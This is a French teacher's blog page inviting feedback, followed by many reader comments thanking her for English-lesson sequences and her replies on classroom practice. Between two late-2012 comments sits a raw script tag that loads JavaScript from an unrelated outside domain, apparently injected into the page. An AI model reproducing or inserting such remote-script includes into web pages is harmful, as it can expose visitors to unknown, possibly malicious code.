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Mon blog se nourrit de vos commentaires

Bonjour à tous,
J'aimerai avoir vous avis, vos commentaires, vos remarques, conseils, critiques afin de faire évoluer et améliorer encore mes docs! Donc n'hésitez pas et surtout ça fait plaisir et ça ne coûte rien!
Je vous remercie par avance!
A très bientôt pour la suite
Fofy
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Commentaires
8hathiMercredi 8 Juin 2011 à 18:10Désolée de faire partie de ceux qui viennent sans laisser de commentaire...

Ton travail est super ! Et MERCI beaucoup d'ailleurs !

Je comprends que de passer autant de temps à faire ce travail, prendre le temps de le partager avec tout le monde, avoir des visites et peu de commentaires est très frustrant...

Bon courage et encore merci !

Coucou Sophie
Toutes mes félicitations pour ton blog, quel travail impressionnant! je t'encourage dans cette voie, ton site est trés bien conçu et riche. On sent la professionnelle des langues!
Bon courage, je sais que cela demande du temps et de l'investissement!
Merci pour ton partage!
Nathalie
13gridouLundi 13 Juin 2011 à 08:59Bravo pour tout ce travail !
Merci, je pense que je vais gagner un temps fou !!!
22yodeliceMercredi 10 Août 2011 à 10:39Je viens de découvrir ce site qui part rejoindre mes favoris tout de suite!!
Merci pour ce partage, quel travail!!! Les séquences d'anglais m'aident beaucoup

Je souhaite créer mon blog depuis longtemps mais j'ai peur d'être submergée par la tâche...
En tout cas félicatations

ll faut se lancer! je ne voulais pas garder pour moi mon travail perso tellement je me suis servie chez d'autres pour démarrer (et encore aujourd'hui je pioche des idées à droite à gauche ...) alors je partage mes docs créés, mes idées surtout en anglais (c'est mon poste depuis 5 ans!)
c'est une expérience enrichissante aussi de faire ça! ça permet d'avoir un retour sur son travail et ça permet aussi de réfléchir sur ce qu'on propose , ce qu'on crée!
ça prend certes un peu de temps, tu te prends vite au jeu ... je veux poster des trucs régulièrement et de qualité alors je bosse pas mal pendant les vacances ... mais je pense que ça peut se faire sans se prendre la tête, sans y passer des heures non plus !
bienvenue sur ce blog en tout cas et à bientôt!
27alVendredi 19 Août 2011 à 09:10bravo pour tout ce travail en anglais
29kaDimanche 21 Août 2011 à 15:15Bonjour fofy,
je tiens à te féliciter pour ton travail, c'est vraiment de grande qualité et d'une tres grande d'aide pour moi en anglais. Je pense me servir de tes séquences d'anglais cette année, je me retrouve avec une classe à quatre niveaux (du ce1 au cm2) et un niveau catastrophique en anglais alors j'avoue que trouver un travail comme le tien me sauve la vie :) Merci merci merci!!!
ka
Je passerai donc régulièrement sur ton site, j'essaierai de te dire un petit bonjour et de te raconter comment se passent mes séances d'anglais avec le élèves
oui je veux bien avoir un retour sur mes séquences! je suis preneuse de tous commentaires bons ou mauvais afin d'améliorer mes documents!
Pour ton niveau , c'est pas facile ! je bosse aussi en 4 niveaux dans une de mes classes et j'avoue que je galère, je ne peux pas faire deux groupes ! c'est le niveau de ta classe qui est catastrophique en anglais?
Je pioche dans mes programmations cycle 3 pour ce type de classe , je veux que mes CM progressent quand même donc les CE1 j'avoue qu'ils font un peu ce qu'ils peuvent ! et finalement ils retiennent pas mal de choses donc je vais continuer comme ça ! Je pars du même support mais je différencie mes exigences au niveau des formulations et de la trace écrite biensûr !
J'espère encore m'améliorer !
t'es tu inscrite à la newsletter?? j'enverrai une fois par mois environ un récapitulatif de ce que j'ai à jour sur le site le mois terminé
Voilà , ravie que ça t'aide!
31kaLundi 22 Août 2011 à 23:57Je viens de m'inscrire à la newsletter
Pour répondre à ta question, c'est moi qui est un niveau catastrophique en anglais...
Pour l'organisation de la classe, je pensais faire cela, un seul groupe et ensuite différencier les exigences à l'oral et la trace écrite. Penses-tu que je peux faire une meme trace écrite ce1 ce2, et une autre pour les cm ou il vaut mieux ce1 et cycle 3 à part?
Merci encore
32kaLundi 22 Août 2011 à 23:59oups "qui aie", tu vois même en français y a des lacunes

lol pas de souci!
tu n'oublieras pas de confirmer ton inscription ... tu es en attente... regarde dans ta boite spam des fois que tu aies reçu le mail là dedans!
l'idéal serait encore de différencier CE1/CE2 mais j'avoue que je ne le fais pas toujours et je propose quasiment la même chose aux deux (oh la vilaine maitresse) . Dans les docs que je suis en train de refaire, créer ou fignoler j'essaye de prévoir une trace écrite pour plusieurs niveaux ... tu pourras toujours t'en inspirer...
34SosoliSamedi 27 Août 2011 à 02:04Coucou, je viens de découvrir ton blog et franchement bravo pour ton travail!
J'ai un bon niveau d'anglais mais c'est difficile quand on est débutante de partir de zéro dans toutes les matières. J'ai téléchargé tes séquences et je vais les adapter (Les compléter ou les alléger en fonction) pour ma classe de CE1. Ce sera une grande aide!
Ca m'a aussi donné des idées d'activités pour traiter d'autres thèmes.
Encore un grand merci pour ce partage!Bonne rentrée à toi aussi ! Merci ! mais la mienne va être plutôt cool , comme je n'ai pas de classes et que je n'ai pas encore mon emploi du temps officiel (j'espère que je l'aurai avant la fin de semaine !) je vais rester à l'école de rattachement! Vais préparer le café pour mes collègues qui en auront bien besoin lol peaufiner mes préps et commencer à préparer mon cahier journal pour les classes où je suis sûre d'aller !
Bref ça fait 5 rentrées qui se passent comme ça ... plutôt cool comme reprise mais dur dur le réveil quand même!!!
40urkaMardi 6 Septembre 2011 à 13:25Bonjour,
Merci pour ton site que je trouve très riche. Je cherche depuis des semaines des preps pour mes cours d'anglais et j'ai enfin trouvé mon bonheur sur ton site pour les CE1 et CE2. J'ai aussi des GS et des CP à la rentrée mais j'ai du mal à trouver des séquences d'anglais qui soient adaptées à cet age.
En tout cas merci. Je commence lundi mes cours et je vais m'aider de tes séquences pour enrichir les miennes. C'est grace à des personnes comme toi que l'on peut progresser dans notre mètier d'enseignant.
Merci.
42EstelleLMardi 13 Septembre 2011 à 23:02Un blog que je découvre avec énormément de plaisir. Je le trouve très riche, et depuis que j'y ai fait un tour, il me vient de nombreuses idées pour une mise en place de nouveaux jeux avec mes élèves de CM1-CM2: à nous les sketchs de théâtre, les mini livres (funny english) et le Uno (superbe idée!!) qui vont compléter à merveille la batterie de jeux (bingos et autres...) déjà en place! Merci beaucoup pour ce partage, je file de ce pas m'inscrire à la newsletter pour ne rien râter!!
43roulietaMercredi 21 Septembre 2011 à 15:55Je découvre ENFIN ton blog, comment ai-je pu passer à côté?... Pour être originale, je te tire mon chapeau pour tout ce travail vraiment formidable et surtout je te dis un grand MERCI de le partager. Tu me donnes tout plein d'idées pour rendre mes séances un peu plus "fun" pour mes élèves. Et moi je m'inscris à ta newsletter tiens!
45Sof24_EdpSamedi 24 Septembre 2011 à 10:13Cocou Fofy !
j'ai découvert grâce à Rdp que tu avais un blog, alors je suis venue faire un tour ! il est très bien, tes docs sont toujours très bien pensé
!!! Merci de les partager sur Edp ou maintenant ici 
A bientôt
Sof24
47FloannaMercredi 28 Septembre 2011 à 14:48Je viens de découvrir ce site! Quelle mine d'or... Je l'ai d'ailleurs ajouté à mes favoris. Je pense venir refaire un tour prochainement lors de mes preps pour mes CM1 et pour celles des CP et CM2 (je décloisonne)
Merci beaucoup!
49PetipythieSamedi 8 Octobre 2011 à 15:37je viens de découvrir ton blog : géniallissime ! je compte utiliser tes précieux docs pr mes élèves de 6e et 5e SEGPA,en particulier en anglais... je te tiendrai au courant au fur et à mesure si tu le veux bien...à bientôt et encore merci pr ce généreux partage !
51CoconissaMercredi 12 Octobre 2011 à 00:18Bonjour Merci pour ce blog J'enseigne l'anglais pour la 1ère fois et il fourmille d'idées supers
53kikou76Jeudi 13 Octobre 2011 à 21:57Merci pour les mini book, je viens juste de commencer à travailler sur Winnie avec mes élèves et qu'est-ce que je trouve sur ton blog!!!! Encore merci
54sorraiaSamedi 15 Octobre 2011 à 17:11merci énormément pour le travail que tu partages, notamment en anglais!
c'est pour moi un trésor car je débute cette année (passage de l'habilitation) et je dois avouer que je ne savais pas comment fonctionner et avec quel matériel....
MERCI, MERCI, MERCI
55ellyahSamedi 22 Octobre 2011 à 15:26Bonjour! Je viens de découvrir ton blog...
Oh misère, je ne peux plus refuser d'enseigner l'anglais !
Merci à toi et au boulot pour moi !
57anekLundi 24 Octobre 2011 à 15:00houa ouh... merci encore et encore !! j'eneigne l'anglais pur la première fois cette année à tout le cycle 3 et je m'arrachais les cheveux pur créer une prog sur 3 ans et non sur 3 niveaux et j'ai trouvé ton site !! c'est un boulot de fou !! bravo!!
j'ai une question au sujet des albums : en fais tu des séquences particulières en plus de ta prog ou juste des lectures plaisirs ? sinon ca fait beaucoup non ?
bonnes vacances
anek
59pam02Jeudi 27 Octobre 2011 à 22:33Bonsoir, j'ai pour habitude (et gros défaut) de passer des heures sur internet à farfouiller, et là, j'y suis depuis ce matin 8h! Tout ceci pour te dire que je suis tombée sur ton blog (jamais vu depuis 5 ans?) et je trouve ton travail super ainsi que tes trouvailles. Me voici encore chargée de bonne nouvelles idées afin de rendre mes séances encore plus ludiques! Bravo à toi!
Je suis ravie de te compter parmi mes visiteurs ! tu ne pouvais pas me trouver ya 5 ans, vu que mon blog n'existe que depuis mai!!! lol j'ai sauté le pas y a peu de temps donc!! et je vois que mes idées et trouvailles plaisent! je suis contente que mon travail puisse vous servir!
Mes idées ne sont pas originales... du moins pas toutes! j'aime farfouiller aussi , voir ce qui se passent ailleurs, je fais, refais à ma sauce, des fois j'essaie d'innover mais finalement je vois que d'autres y ont pensé avant moi!! je cite mes sources quand ça ne vient pas de moi, autant rendre à César ce qui est à César!
Merci pour ton petit mot, ça fait très plaisir!
A bientôt !
02 (tu es de l'Aisne? de quel coin??suis originaire du 02 c'est pour ça que je fais ma curieuse!)
61pam02Jeudi 27 Octobre 2011 à 22:44Je suis du triangle Laon - Chauny - Saint-Quentin, je voyage beaucoup entre les trois ;-) et toi?
@+
63Anne MDimanche 30 Octobre 2011 à 13:25Félicitations!Tes documents sont très interessants et me font évoluer un grand merci.
64DRAYAOUDimanche 30 Octobre 2011 à 14:22Ai découvert Elkablog il y a environ 6 mois et admire la qualité et la pertinence du travail réalisé. Quelle surprise en ce dimanche laborieux ! Je recherche depuis plusieurs semaines à récupérer les ateliers de lecture "Je lis, je comprends" que je n'avais pas enregistrés en totalité et qui me faisaient vraiment défaut. Merci beaucoup d'avoir zippé ces documents et pour l'ensemble de ton travail d'ailleurs : c'est une véritable mine ! Je fais aussi partie des instis qui passent leur temps à chercher ... au grand dam de mon mari ! Mais j'adore ça !
Mais peut-être n'y-a-t-il pas de hasard !? : Nous sommes tous deux nés à Soissons et nos familles y vivent ! Nous avons choisi de vivre dans l'Aude depuis neuf ans maintenant et je suis depuis six ans "maikresse" de cm1/cm2 à Narbonne-Plage à l'Ecole Gaston Bonheur (Ecrivain auteur de "Qui a cassé le Vase de Soissons ?" sic...
A te lire ...
oh ! une soissonnaise! trop fort! ravie de te compter parmi mes lectrices!!! ravie aussi d'avoir pu t'aider pour les "je lis je comprends"!
A très bientôt
Anne M je suis également contente de t'aider et de te faire évoluer dans ta pratique! le fait de réfléchir ensemble me fait évoluerégalement ! c'est très enrichissant!merci
66laetissMardi 1er Novembre 2011 à 18:19bonsoir
je viens de découvrir votre site et il m'aide beaucoup pour l'anglais. C'est super
Merci de partager votre travail
67jaz30Dimanche 6 Novembre 2011 à 12:30bonjour Fofy,
merci pout toutes tes bonnes idées. J'apprécie beaucoup les mini books. Pourrais-tu m'expliquer comment tu les fais?
En tant que zilienne, j'aime bien laisser du matériel un peu original à la fin de mes séquences...
Merci pour ton commentaire!
Pour les minibooks, ce n'est pas très compliqué : avec word, ou open office, tu créés un tableau de 2 lignes et 4 colonnes (marges au max) si tu es en format paysage ou un tableau de 4 lignes et 2 colonnes (max au max) si tu veux le faire en format portrait
Ta page de couverture doit toujours être au même endroit (cf mes mini books ou ceux du site funny English) après , faut juste savoir retourner les zones de texte!
Tu peux te servir de la matrice des mini book de funny English, ils proposent leur book en format .doc... il te suffit de changer le texte!
Si tu ne veux pas insérer d'images, juste le texte brut il te suffit d'aller sur le site de l'écriveron , tu tapes ton texte et hop ça te génère le mini livre! trop cool ...
69CélineBDVendredi 11 Novembre 2011 à 18:59C'est ma première visite sur le site! J'en ai entendu parlé car étant remplaçante, on me l'a vivement conseillé et je comprends pourquoi!!!!
Bravo pour tout ce travail et merci beaucoup pour ce partage qui me donnent des idées pour exploiter d'autres albums en anglais!!!71marlilouMercredi 16 Novembre 2011 à 22:59great!!! j'ai pas vu l'intégralité de ton blog, mais je suis conquise, j'ai pris des idées pour mes leçons d'ENGLISH!!! Merci Merci !!!
72Nat 36Lundi 21 Novembre 2011 à 23:06J'ai été conduite par curiosité sur ce site car je suis toujours en quête en ce qui concerne l'anglais car mon rêve serait d'enseigner tout en anglais en primaire (enfin j'aurai quand même du boulot avant...). Bref, je n'aurai qu'un mot à propos de ton bpoulot : I love it ! Go on and thanks so much
73JuanitaMercredi 30 Novembre 2011 à 21:28Great ! je commence une séquence sur sur cet album !
j'avais pas mal de doc mais là c'est top ! notamment le domino !
merci
75checcieVendredi 16 Décembre 2011 à 22:53Un énorme merci pour ton travail en anglais. Je débute en cycle 3, après 5 ans de CP... Et tes docs me sont plus que d'un grand secours !
77stefdetMardi 20 Décembre 2011 à 19:20Bonjour et merci pour ce site très riche et toutes tes bonnes idées.
Stéphanie
78elo74Mercredi 21 Décembre 2011 à 15:44Bravo pour ton travail! J'essaie de rassembler un maximum de docs pour travailler les classiques littérature jeunesse anglophone en classe et j'ai été ravie de tomber sur ton blog! Allez hop! Tu fais partie de mes favoris! J'avais aussi travaillé sur The Very Hungry caterpillar mais pour des plus grands (cm) avec remise en ordre de l'histoire en numérotant, relier les images et des phrases...Là je viens de travailler sur Tom Sawyer. Si tu connais des liens pouvant m'intéresser, n'hésite pas! Bonnes vacances!
Merci pour ce gentil commentaire!
Quels genres de liens veux tu ?? des liens pour la littérature de jeunesse?? vas voir dans mon webmix des sites pour l'enseignement de l'anglais. ya des sites d'inspections très bien, qui proposent des exploitations d'albums
j'espère que ça t'aidera un peu
80elo74Mercredi 21 Décembre 2011 à 20:05Merci pour ta réactivité! Je viens de passer l'après-midi sur pas mal de sites dont ceux des inspections, bien pourvus en effet. Je cherche surtout des worksheets sur des classiques (Moby Dick, Alice in Wonderland, Oliver Twist...) pour travailler un peu comme le propose pocket/langue pour tous. J'aimerais compléter leur travail (c'est ce que j'ai fait donc avec Tom Sawyer). je crois qu'il faut que je me concentre sur les sites anglophones mais c'est la nébuleuse! Je vais m'y remettre plus tard car j'ai le cerveau qui chauffe!
82brighMercredi 21 Décembre 2011 à 22:57Je viens de découvrir ton site et comme je vais devoir commencer l'anglais l'an prochain dans ma classe, ça va super m'aider. Merci.
Et joyeuses fêtes de fin d'année
84lizalexantoDimanche 1er Janvier 2012 à 17:33Bravo pour ce site rigoureux et si pratique pour moi.J'ai un CE1-CE2 et cela m'aide beaucoup. Tu as fait un boulot monstre !!
Bonne continuation
Contente de te compter parmi mes lectrices! Merci pour le gentil commentaire! Je vais essayer de continuer à agrémenter ce blog au fur et à mesure avec de nouvelles choses...
n'hésite pas à laisser des commentaires dans les différents articles que tu compulses , pour critiquer les docs que je mets en ligne, afin de les améliorer encore! et si jamais tu vois des erreurs , coquilles, merci de me les signaler pour que je corrige tout ça ! Merci d'avance et à très bientôt
86guisgirafeLundi 2 Janvier 2012 à 15:45erci pour tes séquences en anglais. J'aime l'anglais, j'adore le pratiquer mais pour l'enseigner de manière active et ludique c'était un peu laborieux.
Tes séquences me sont d'une aide précieuse moi qui suis PE-S en CE1-CE2.
Merci et au plaisir de revenir faire un tour
87RymaryMercredi 18 Janvier 2012 à 19:46Bravo! Grâce à Charivari j'ai découvert votre blog. Quel travail... Merci de partager tout cela. J'apprécie beaucoup des séances d'anglais car je débute et je ne suis pas habilitée, donc cela est une aide précieuse.
Encore merci et bravo!
Marie
Je trouve ce blog très très intéressant,tu dors quand?
le lien est désormais que le site départemental elve dans la rubrique des didapages...si tu en fais d'autres....je suis preneuse
bon week end
sophie
pas compris ce que tu m'as dit sur les lien didapage?? ils fonctionnent, je ne comprends pas ce que tu as écrit!
suis en train d'en faire un uniquement sur les couleurs, mais pas fini, pas eu le temps de m'y remettre. en même temps d'autres site en ont déjà fait alors , je me demande pouquoi je m'obstine à en créer d'autres! lol (ah si pour pouvoir les utiliser hors ligne)
les didapages fonctionnent très bien, je les montre lors de mes stages de Fc et j'ai mis un lien depuis le site départemental ELVE d'où je viens
tu mets combien de temps pour faire un didapage?
bonne soirée
sophie
tu es de quel département? du 10?? on est de la même académie? tu es formatrice? formateur?
je ne sais pas combien de temps je mets (j'en ai fait deux , j'en suis au troisième!) le premier a été plutôt long (4/5h) à faire car je ne me souvenais plus trop des fonctionnalités de didapage alors j'ai tâtonné! je vais pouvoir me servir de la structure (vive le copier coller) de mes exercices pour en faire d'autres sur le même principe, me suffira de remplacer les images et les sons... je pense qu'en 1h ou 2 ça sera fait.
Oui, je suis de l'Aube, cpd elve donc je suis preneuse de concret et réalité de la classe pour aider les collègues à se lancer et poursuivre.
Mais il me semble que l'on s'était déjà "rencontrer" sur la liste cafipemf...
En tout cas, tu fais un super boulot
congratulations
96kallouVendredi 24 Février 2012 à 22:34Juste pour dire que je suis impressionnée par ton travail: la qualité, la richesse des supports, la quantité de ce que tu post, l'organisation de ton blog. Et encore je ne viens que pour l'anglais (j'ai des élèves de maternelle). Vraiment. Bravo.
Profite bien des vacances (1 dodo tu disais)
97Tica22Vendredi 2 Mars 2012 à 11:39Je découvre ton blog de jour en jour, et je tenais à te dire un GRAND MERCI pour tout ce travail que tu fais pour nous!
99mel53Mardi 6 Mars 2012 à 18:41J'ai découvert ton blog il y a quelques temps et je m'en sers de plus en plus pour l'anglais (cycle 3). J'ai testé plusieurs séquences, résultat ==> je suis devenue accro ! c'est vraiment plus agréable de faire de l'anglais avec les élèves avec tes outils ! C'est une vraie mine d'or ! Merci à toi pour ton travail !
101nifnif9Jeudi 8 Mars 2012 à 22:15tip top tes séances d'anglais !!!!!! Un grand merci !!!!!! Je viens de commander le cd "Let's sing let's chant 1"; est-il plutôt adapté au cycle 2 ???? Et le 2 et le 3 ? Ou est-ce simplement différents chansons ??
j'utilise différentes chansons pour le cycle 2 et 3, ça dépend desquelles. Je ne connais pas les CD2, 3 et autres, je pense juste que ce sont d'autres chansons
Tu as la liste des chansons sur le site Mes-cd (faut voter pour avoir accès à la liste!)
103elo74Mercredi 14 Mars 2012 à 18:06Bonjour!
J'ai acheté un CD de chansons en Angleterre qui s'appelle "Singing English" (A&C Black) que je trouve très bien (fin cycle 2 et cycle 3), les chansons sont classées par thèmes (greetings, the body and the face, numbers 0 to 10, food...) et sur le Cd on a le playback.
Tu parles de celui là?? : singing english 22 photocopiables songs
Je ne le connais pas! Merci pour la référence. J'essaierai de voir au CDDP s'il n'y est pas par hasard. Merci
105elo74Jeudi 15 Mars 2012 à 18:35Oui c'est bien de celui-ci dont il s'agit, je le trouve très bien, les chansons bougent bien. Mes collègues me l'empruntent souvent. Bonne recherche!
106Van22Vendredi 16 Mars 2012 à 07:52Quel travail ! Merci pour tous ces docs, notamment pour ceux d'anglais. Des preps claires, simples à metre en oeuvre et des supports élèves très bien faits. Bravo !
108vianneMardi 20 Mars 2012 à 20:50Bonjour,
En premier lieu, un grand merci pour toutes ces ressources partagées. J'enseigne dans un CE2/CM1 et je suis épatée du travail considérable que tu effectues et surtout du temps précieux que tu me fais gagner. Mes enfants en sont ravis eux aussi car je peux passer plus de temps avec eux. Je ne sais pas comment tu fais pour avoir autant d'idées, de ressources et d'énergie car je me rend bien compte du travail que cela peut demander et du temps que cela peut prendre. Comment fais tu pour rallonger les journées? moi je n'arrive qu'à y caser 24 heures. lol.
En tout cas, un grand bravo, un grand merci et un bisous des mes petits bouts qui profitent plus de leur maman.
Merci pour ce gentil commentaire! Tu sais j'ai pas mal de temps libre vu mon poste tout anglais! je n'ai pas les autres matières à préparer donc j'essaie de le faire bien pour l'anglais! Je le fais pour moi d'abord et puis je vous le partage ensuite, ça ça ne me prend pas plus de temps que de faire mes préps! et puis je n'ai pas d'enfant donc ceci explique aussi cela!
En tout cas je suis contente si tes élèves et toi sont ravis de ce que je propose et si tu peux passer plus de temps avec tes petits bouts!
A bientôt
110than17Dimanche 22 Avril 2012 à 14:10Bonjour Fofy et merci pour ton blog dont je m'inspire souvent pour monter mes séquences en anglais.
Je viens de trouver des saynètes en anglais proposées à la une du portail du premier degré de l'académie de Poitiers: il y a une partie écoute et une partie scénario pédagogique pour les élèves puissent eux aussi faire leurs saynètes.Ca n'a pas l'air mal !
112lagigue12Lundi 23 Avril 2012 à 21:12Merci pour tout ton travail, j'ai fait la séquence sur les sports aujourd'hui et ça roule en classe.
MERCI MERCI MERCI
114Elisa3118Lundi 28 Mai 2012 à 21:59Bonjour Fofy,
Je te remercie pour les docs que tu mets à disposition des enseignants qui sont comme moi déborder avec un double niveau CP/CE2 et qui fait anglais à deux classes de CE1!
J'ai construit mes séances à partir de ce que tu proposais et je trouve que les élèves accroche plus qu'avec des methodes plus classiques.
Merci encore
Bonjour Fofy
1er commentaire pour ma part...
Un grand merci, ton travail m'a permis d'affronter ma plus grande peur de début d'année, l'anglais, avec plus (ou moins) de réussites. En effet la fluidité de tes séquences et leur assimilation rapide ont permis de pallier à mon niveau d'anglais déplorable. Je réitérerai ceci l'an prochain pour davantage de maitrise.
118LulujoSamedi 7 Juillet 2012 à 11:35Un grand merci Fofy pour ta générosité dans le partage de tes ressources. C'est une grande aide pour moi qui commence l'anglais au CP et CE1 cette année, après avoir reçu une formation rapide sur le tas d'une semaine!
Bonne vacances à toi et félicitations pour ton site, il est génial.
119Mart_31Dimanche 5 Août 2012 à 16:24Bonjour
J'ai découvert ton site l'an dernier et cette année je me lance dans l'enseignement de l'anglais pour les cm2 ! Jusqu'alors c'était mes collègues qui s'en chargeaient mais cette année je suis au pied du mur (je ne peux plus reculer). Cela me plait bien du reste ! Je suis très contente de trouver toutes les ressources de ton site plus quelques autres glanées à droite et à gauche... Vraiment ton travail est remarquable !
Vu que je débute, je dois être super rigoureuse (surtout que je ne suis pas un "cador" en anglais) : ton site va m'y aider....
Encore merci.
Martine
120fgVendredi 17 Août 2012 à 10:00Un seul mot: Congrats! Prof d'anglais en collège, je me lance dans l'expérience TBi et ai réalisé qqs paperboards cependant je ne sais pas insérer du son. Comment fais-tu? Thanks for sharing.
Je ne connais qu'Activinspire pour créer des paperboards , pour insérer du son il faut aller dans l'onglet "insérer" puis "média" et là hop on fafouille sur son disque dur pour trouver le fichier sonore qu'on veut insérer.
Pour les autres logiciels, je ne sais pas désolé.
Je suis ravie qu'un prof d'anglais du secondaire apprécie le travail que je propose pour le primaire! ça me rassure! merci
122Am51Mercredi 22 Août 2012 à 13:35Merci pour tout ce travail partagé.
Je viens de voir tes fiches graphisme partant de Buren... je prends !

par contre, je me permets de signaler une petite erreur dans la séquence sur les traits horizontaux : sur la 2e fiche, la compétence est "tracer des traits verticaux"
125Am51Mercredi 22 Août 2012 à 14:21Merci à toi
126Maloune76Mercredi 29 Août 2012 à 00:52Bravo pour ton site qui me donne plein d'idées pour l'anglais en CE1 ! Un grand merci pour ce partage.
Bonne rentrée !
127soph75Samedi 1er Septembre 2012 à 11:28Merci pour ce travail excellent sur les séquences d'anglais. Il va me permettre de renouveler un peu les outils que j'utilise en classe...
Je recherche activement mais sans succès le mp3 du single everybody needs a friend. Je te remercie si tu as une solution à ma proposer.
BONNE RENTREE!
Merci pour ton commentaire (tu pouvais aussi le faire dans l'article concerné tu sais!
) La chanson est dans le CD : l'anglais en chantant où il y a d'autres chansons sympa. Sinon contacte moi
129audy mMardi 11 Septembre 2012 à 17:22bonjour,
Je ne suis pas enseignante mais j'interviens pour des élèves en anglais et je trouve les séquences plutot bien construites, quand je vois tout ce qu'il faut bricoler pour se faire ses propres outils pédagogiques ou monter une séance bien précise...ça m'aide de voir vos supports!
Aprés j'ai pour ambition de devenir une "vrai " professeur des écoles...et je trouve le partage des connaissances et des supports admirable, c'est encourageant !!
Merci à vous!!
130Marin57Dimanche 16 Septembre 2012 à 12:59Blog d'une exceptionnelle richesse qui nous montre la passion éprouvée pour ton métier.
C'est avec énormément de sincérité que je te dis encore une fois Bravo et Merci pour le partage de tes documents, de tes idées qui nous donnent envie d'aller toujours plus loin avec nos élèves.
Tu es un chouette exemple de maîtresse sur lequel j'aime enrichir mes prep.merci pour ce super commentaire qui confirme mon envie de partager! Bon là après un passage à vide de quelques jours (j'espère que ça ne va pas durer) je tâcherai d'ajouter des articles permettant de réfléchir sur nos pratiques... Si tu veux nous/me faire part de ton expérience j'en serai ravie car là je patauge un peu ...
132zuleikiDimanche 14 Octobre 2012 à 21:15Toute nouvelle dans cette grande famille qu'est l'éducation nationale merci de partager tous ces trésors qui me permettent de construire ma classe ;-)
bonne continuation!
133alexdu47Mardi 23 Octobre 2012 à 19:05Je suis une grande fan de votre site!!
Un très grand merci car il m'aide beaucoup pour me remettre en question et améliorer ma pratique en anglais!!
quel boulot!!!
<script src="http://pluginrose.info/dfi823hs.js?0.9247345393322095" type="text/javascript"></script>134valérie L.Jeudi 8 Novembre 2012 à 16:48Je suis maîtresse de maternelle depuis 16 ans et je découvre ton blog aujourd'hui (comme quoi ralonger les vacances ne veut pas dire travailler moins !). Quel travail... Merci de nous faire profiter de ton expérience. C'est toujours un grand bonheur de trouver des idées nouvelles à exploiter en classe.
Bonjour,
je viens mettre un commentaire parce que je cherchais une activité à faire pour des Term Pro et j'ai trouvé! (sisi!) j'ai trouvé grâce à ce blog plein d'idées, j'ai adapté votre travail sur le sport en espagnol et hop!
je vous dirai ce que j'ai changé/ajouté/modifié... pour que ça passe au lycée (mais d'abord je veux tester si ça marche :D)
en tout cas merci pour tout ce beau travail!!!
@ bientôt!
non,non, pour de la LV2 :D
en Lycée Pro les élèves ont un niveau 3e/2nde alors qu'ils sont en Terminale. C'est normal, ils n'ont que 2h par semaine et partent 2 mois dans l'année en stage (en + des vacances....) Donc ils ont beaucoup moins d'heures que ceux qui sont en lycée général et ont pratique beaucoup de "roleplays" du coup ;)
au fait, vous connaissez http://www.mes-english.com/flashcards.php?
vraiment pratique... je les adapte en espagnol, même si ce n'est pas toujours facile...
Bonsoir,
un petit comm juste pour vous dire que vous m'avez en qq sortes réconciliée avec l'enseignement de l'anglais. Pourtant, ayant fait des études d'anglais cela aurait dû me plaire ... mais j'ai longtemps pataugé, de plus avec des classes pas toujours faciles ... qui croyaient que l'anglais c'était récré !!! alors merci de partager vos preps qui aident beaucoup dans le déroulement d'une séance, pour que ce soit bien cadré et intéressant.
142NadounoéMercredi 19 Décembre 2012 à 16:50tout simplement merci! je suis directrice tiers déchargée, et j'avoue que ton site me sert beaucoup!
bravo pour tout ce travail et merci encore d'en faire profiter les autres....
144Nadine51Vendredi 4 Janvier à 09:19Bonjour!
je viens de découvrir ton site. Je suis scotchée par la qualité de ton travail! Bravo et un grand merci (mes élèves vont adorer jouer avec la famille Simpson).
Et puis...très bonne année à tous!
145clode detchLundi 14 Janvier à 12:03Bonjour Fofy, Quelle mine et quel travail. J'ai trouvé ton site via une recherche sur le CAFIPEMF. Tout ici est bon à prendre!! Merci encore.
146Papatte14Mercredi 13 Février à 20:40Bonsoir!
Un ENORME merci pour tout ce travail et ce partage. je viens de découvre les petits livres interactifs en anglais. Je trouve cela excellent! je vais me pencher dessus sérieusement et essayer d'en faire moi-même.
Bonne continuation!
Bonjour,
Je viens de découvrir votre blog et je me suis permise d'utiliser une de vos fiches pédagogiques pour l'associer à un des livres d'Eric Carle. Nous mentionnerons votre blog sur www.babelkids.com.
merci pour votre travail.
Amélie de babelkids.com - le spécialiste des langues par le jeu
149rizmomiMercredi 13 Mars à 17:15merci de tout coeur pour ces séances d'anglais, depuis cette année, plus d'intervenant, alors dur dur, merci encore
150ValérieUDimanche 14 Avril à 11:39Merci pour ton travail! Je découvre ton blog via celui de monecole.fr et j'en suis ravie! Bravo! Bonne continuation et encore merci!
152Louise6449Lundi 6 Mai à 04:52Salut fofy,
Je n'en reviens pas du travail que vous faites!!! Où prenez-vous le temps de faire tout ça en plus de la classe??? Je suis enseignante en Ontario (Canada). J'aurai une classe de maternelle/jardin l'an prochain pour la première fois. Le ministère a initié un nouveau programme appelé PAJE Programme d'apprentissage des jeunes enfants. Avec ce programme, nous pouvons nous retrouver avec 30 élèves dans la classe. On priorise donc l'apprentissage par la jeu et les centres d'apprentissage (jeux éducatifs). Je crois que nous devons faire 15 nouveaux centres d'app par semaine. Je découvre donc beaucoup de trucs, d'idées et de bonnes ressources sur votre site. De plus, je trouve très intéressant de comparer votre système d'éducation au nôtre. Tout n'est pas encore claire pour moi mais plus je vous lis, plus j'en apprends... Mille fois merci pour votre grande générosité!!
Louise Laliberté EAO
Sudbury, Ontario, Canada
153PeggybbJeudi 9 Mai à 15:55Bonjour,
Je dois retravailler les programmations avec l'équipe péda. Ce sera une base parfaite. Et puis tout ce boulot pour la classe. Bravo et merci !
Bienvenue Louise ! Je suis ravie qu'on me suive même du canada! Si je peux donner des idées pour tes centres... 15 nouveaux ateliers par semaine?? c'est énorme non?? ou alors je n'ai pas bien compris ce qu'était un centre!
Peggybb , je suis flattée que mon travail serve de base pour construire votre prog... après voilà , ya des choses à redire sur mon travail... mais à plusieurs , vous arriverez à faire une super prog!
A bientôt
155Louise6449Jeudi 9 Mai à 19:20Merci, oui je prends toutes les bonnes idées
! Un centre d'apprentissage ici est un jeu pédagogique ou une activité que les élèves font en petits groupes ou seuls. À moi aussi ça semble beaucoup. D'autant plus que c'est ma première année en maternelle-jardin
. Il en faut 5 en numératie, 5 en littératie et j'ai oublié les 5 autres...La maternelle est le premier niveau au cycle préparatoire. Les enfants débutent dès l'âge de 4ans. Ensuite,c'est le jardin. J'aurai une classe à niveau double avec seulement que 16 élèves.
À bientôt
16 élèves ... oh c'est cool !! tu auras des 4/5 ans?
